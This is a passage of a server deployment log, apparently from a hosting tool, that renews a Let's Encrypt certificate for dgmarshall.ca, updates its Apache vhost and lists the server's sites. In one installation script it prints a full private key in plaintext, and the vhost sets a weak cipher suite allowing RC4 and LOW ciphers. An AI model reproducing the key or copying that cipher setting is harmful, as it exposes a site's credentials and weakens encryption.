OHtr7lIIGUjT8aKfZvFD66q95QtlsxK60bFclPHaAQKBgQDidZ7YrpUtvAEkb7x0
vomEvq9gp4hMAH50Dt5w0NHdLHb9qhboChXPdpMsHuVLCuSajeTB3CmSql2e+SJV
9m49teZpHDH8cyAfWDs4IcIiHIaBsGVAaAOtFO2uAezqiwPXd0NhYCagMXD5Zcgn
BaAi9EXY2gS+R7ElNbz5PqlHHwKBgQDIEYCHLnMWT0RQVAbFojotrH1UDmT26reK
0GIS805ZN28hJ0SAYEwkWn8iMA1ZWIZuEU6MhfYkF6uvIEqcOdnSFQWgE8nl5wB8
YnLrZ0JdDcP49YrZdGBYUPgTRzT1rsq7X7Bj+R1m66SJTXqswp6uIfCTCRhMtIMY
/vHsNElTAQKBgQDMt8GyZhiLsJJjyvLVos2UiADo4mpvMl8eMbbay5t8Us76v4FX
oI5Y7vtafk+QCDfik/VBXvLiGErsBJIKnezIsqCpUojJi5V1YICgXLwvtBPQN5NA
pwbzt6CplioDWUpOxQzPgWlJlYhonJ9Uz1wVXTerMmPpU8wLNEoyE3hZxwKBgQCI
D68TQDmwoHPbFWoNmkhqq3YIZkmvyuzMEO/B54oPDq4bI/NoQxVFW+4+N+O8MYIq
9MYwtyIwZZCy5wkWuhky0G0k8pBKNBGWhfWVtoHheu0eMQ8e2BB1v4sWwUR5GUhy
qZ7yPocKaZNadUDKoQj9b8OGm5bVA6Zsp2Wrt9tuAQKBgFByBcdBVSPFn+9IKy4s
+FBA9jqeNT1Kz6zjKJyXKEFrCLkUWuGhkp6ys0qhedpmMXwUuXmBZ+xSOwEWkw2i
Gmtd9Q4L5f6MTPCjS4jhSMMjGHqGMf+HqNa+voIMjoU16FAaO8PZnreU/gC7ZJgq
myrN3BReDhKfGkyxpY+FfHmP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-26 06:01:55: Establishing a connection
2025-09-26 06:01:55: Establishing a connection
2025-09-26 06:01:55: 

PUT: /tmp/pkp357543

#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-26 06:01:55: 

chmod 755 /tmp/pkp357543; /tmp/pkp357543; rm /tmp/pkp357543

2025-09-26 06:01:55: 


1


2025-09-26 06:01:56: Establishing a connection
2025-09-26 06:01:56: 

PUT: /tmp/pkp184846

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > h9ck1JIsfpWlZzUo-RRA3Zu9m-BAFkqq8dgkT7GT6RE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
h9ck1JIsfpWlZzUo-RRA3Zu9m-BAFkqq8dgkT7GT6RE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 h9ck1JIsfpWlZzUo-RRA3Zu9m-BAFkqq8dgkT7GT6RE
cat > bsd9cMY5HI__POSTrcDo657TuHIkkKbsCq5ycBVCGkQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
bsd9cMY5HI__POSTrcDo657TuHIkkKbsCq5ycBVCGkQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 bsd9cMY5HI__POSTrcDo657TuHIkkKbsCq5ycBVCGkQ


2025-09-26 06:01:56: 

chmod 755 /tmp/pkp184846; /tmp/pkp184846; rm /tmp/pkp184846

2025-09-26 06:01:56: 




2025-09-26 06:02:06: Establishing a connection
2025-09-26 06:02:06: 

PUT: /tmp/pkp472335

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm h9ck1JIsfpWlZzUo-RRA3Zu9m-BAFkqq8dgkT7GT6RE
rm bsd9cMY5HI__POSTrcDo657TuHIkkKbsCq5ycBVCGkQ


2025-09-26 06:02:06: 

chmod 755 /tmp/pkp472335; /tmp/pkp472335; rm /tmp/pkp472335

2025-09-26 06:02:06: 




2025-09-26 06:02:06: Establishing a connection
2025-09-26 06:02:07: 

PUT: /tmp/pkp663380

#!/bin/bash
temp_file=$(mktemp)
TARGET=81f76087f3fb05d6e60af69d2a7f0ab7.crt

cat > $temp_file <<'endmsg'
41:e8:5a:a6:28:1c:9d:00:56:6d:57:09:de:0e:14:54

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBcxykVfTTFnH1Hn5VHL3DHKkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMzM1WhcNMjUxMjI1MDUwMzM0WjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
qW1FOTHFmqexBUQu1SRTByeiCIplxEyI0yQUW+PGg7k5ViLvHr/dGPPTXOmMfc2h
+Au/HfDG8T4VlgHqpy9Zse9RAPbYHxoR6FiBUxCpurNeQrgpmNEDxGTs1oCXl6E4
YXO9Yq7XMEutI6RIDB2revgWrp41VVex+vEH52xpGkw15+mQgNAwTQa7TTKyPDrs
6jYcFSOWvQH1HM+DIDrBg8Lak50Q0wfeAzOjBUUOAKtw4ZKVOK2sUFv6BMMMrtEJ
tOlFGcHOvu0MJ1rqWhlXXqdHusH72fJuzyGWsG1nnapJTQbTlOsVYIDU260Tk5+O
P5PUiIgy7Lawc2G+KVbqowIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBS2QLLFEXVkDk2JAsey0SLkZFYhFTAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWRnbWFyc2hhbGwuY2GCEXd3dy5k
Z21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMzcuY3JsMIIBBQYKKwYBBAHWeQIE
AgSB9gSB8wDxAHYApELFBklgYVSPD9TqnPt6LSZFTYepfy/fRVn2J086hFQAAAGZ
hJ1P8wAABAMARzBFAiEAllT7NeXQsAoKZsLt5arQuuJHCsui827ShNinJ/wUFJcC
IASuxSJDSLhPzqV63diceyO7f+r7bzuiAcV1zVjNhyr0AHcAzPsPaoVxCWX+lZtT
zumyfCLphVwNl422qX5UwP5MDbAAAAGZhJ1QBQAABAMASDBGAiEAxdGTBnD7gjQr
eW3C8LJjLncsorireD5NTLfGFTG2438CIQDOBdQO23HLdNmSted6eahKUkvMJSIQ
S27JgkGHpaZdADANBgkqhkiG9w0BAQsFAAOCAQEAZ10JxUGgvqXUfju6aELusMIL
Xpd5UGbi7P7nfsr5SshM2LZb+K0m/BkK88wYfxrIoVy73ppOP2dZIlZkb4YUAgz1
9WtZy8dkoqMlchmJv+phttYJpKS4+o5imwxINA0gu1zQnP8UCeNU1yqLfOs6D4/d
T/T4zWr9FnUPEz3V1l6eNu9ziQMGQofBBfYfIv11q7u03KRYWC2sp0GMuVP3jkNH
Q8v5WZU4nAyJncRCHnDxh2h9fKvHrNSk9E4rnCKbKI1WnIIPNq8pRE80IjXHmKxj
sgYfhODAHlsOVlkSIZPTWyactMznlb5EIuTuo3xflYmWXm4t4R5bVXcQTHQ2EA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCpbUU5McWap7EF
RC7VJFMHJ6IIimXETIjTJBRb48aDuTlWIu8ev90Y89Nc6Yx9zaH4C78d8MbxPhWW
AeqnL1mx71EA9tgfGhHoWIFTEKm6s15CuCmY0QPEZOzWgJeXoThhc71irtcwS60j
pEgMHat6+BaunjVVV7H68QfnbGkaTDXn6ZCA0DBNBrtNMrI8OuzqNhwVI5a9AfUc
z4MgOsGDwtqTnRDTB94DM6MFRQ4Aq3DhkpU4raxQW/oEwwyu0Qm06UUZwc6+7Qwn
WupaGVdep0e6wfvZ8m7PIZawbWedqklNBtOU6xVggNTbrROTn44/k9SIiDLstrBz
Yb4pVuqjAgMBAAECggEAWdauMSC6NkKbND6uUqjbOd0DJ2Izij5HAyaLgRorhmdu
BsWpY/W6yGNp/Ud+Dqs+KmgYJEkrRHp2Ob+0bIhIGHjczBUYDo3lVv2vPZuFVJGN
9vTuYbDbPYWCrE8tkuKTIeGcV7p8Moi+Ozr+VSZaam8on9kWULWak4TBey5aIO3R
ZKXy0ZF51O3izzq+lwrSyIgBlCt2OBiNzUAm7oh43RdDf0rtowhLvW6wBFbp85US
07ReDhYnJJ1EJjc7TnqBCDrA74zeNAXa9nMAeYPSaECvnjgdWx1cQRksqm1c7wH/
UtnEiSE79FSl39tkvpx2HIrFh9xHjWoAknAbodVveQKBgQDWmafyw22shAdiBiWf
ilxCQMcpjU7D6VfiOfxcx6uj+FNuRFGy3G+pmTdaI2E6xM4PVwQSMVRnihsrxiGE
bfDL421LHWl6cwptTfNZo9ZnSrvX3inKrDsA5tWlw7VoIwyVF6WQnoJUMcfNmMou
rRNTk4FeKwWvJJMMTWQdDviEnwKBgQDKHKlE/UnqGSJqh4y9Ol0+Evwk3azVkgsj
Wh8TtAGXRnAW0K4NQuvetj4LOvYOOQGdYe2NI8we/+5s9sI6qYOMyo3F8fWeDXWd
mh4XJnvHoHIwgkI51S+If2+a4nbOs4vd4g34i4FjYrZju07EgHdJp+7SXuGlLWIL
aVbkGoA3fQKBgHgqzqrX2CAURnYTbxnpRkQrNdsEr6hwj6+0PKZPgMNumHlUdFMt
sLFNhHtK+HUKI0Dfvv3Y9aSM5y4Z4kbfsUjabybyr0/L/3i5f50gazyn0ovMcaZ1
zwxwNg5+iqRni/IoraNPvzcaMQHlnsGIVRwlqvlqKeKrHlRzOa4z5eGNAoGANkMJ
ou8JuCL1XXp065zOycqZDWDCdThXay9X5pdOUgnkMAvonsDXyJxO/f7fbqQZbeKL
v3fb5nq5zWFWdh9qpRMAiyNR2RQt/pkQ+RAo7UiDP8jI9PPqZhAoq4GfehE0PObi
71as7zziUNZJ6HHBFPJUKQC2Pf14NC4c2PLQd5UCgYB2EKXHzgZEy5EzKqGV7nw+
CVXwEijdpI/M43jvlOCCdyDbq0TU/EFMAda5szFtI9qMp0i1YlpTXqnQjv0SH4aL
vVBGh2kSb5IcHLzcwBYJX8rvF+w/TWJ+G97NzqoPUi+rfT8wqSEoY5LpSQMUv4lZ
LU86Q3E/YbZflxoPI3Xjpw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-26 06:02:07: 

chmod 755 /tmp/pkp663380; /tmp/pkp663380; rm /tmp/pkp663380

2025-09-26 06:02:07: 


dir=/etc/ssl/certs


2025-09-26 06:02:07: 

PUT: /tmp/pkp690752

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/dgmarshall_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-26 06:02:07: 

chmod 755 /tmp/pkp690752; /tmp/pkp690752; rm /tmp/pkp690752

2025-09-26 06:02:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf 41

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>






2025-09-26 06:02:07: 

PUT: /tmp/pkp687964

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf= 1'
fi


2025-09-26 06:02:07: 

chmod 755 /tmp/pkp687964; /tmp/pkp687964; rm /tmp/pkp687964

2025-09-26 06:02:07: 




2025-09-26 06:02:07: 

PUT: /tmp/pkp746576

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-26 06:02:07: 

chmod 755 /tmp/pkp746576; /tmp/pkp746576; rm /tmp/pkp746576

2025-09-26 06:02:07: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-26 06:02:07: Establishing a connection
2025-09-26 06:02:07: 

PUT: /tmp/pkp266640

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-26 06:02:07: 

chmod 755 /tmp/pkp266640; /tmp/pkp266640; rm /tmp/pkp266640

2025-09-26 06:02:07: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-26 06:02:07: 

PUT: /tmp/pkp914904

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
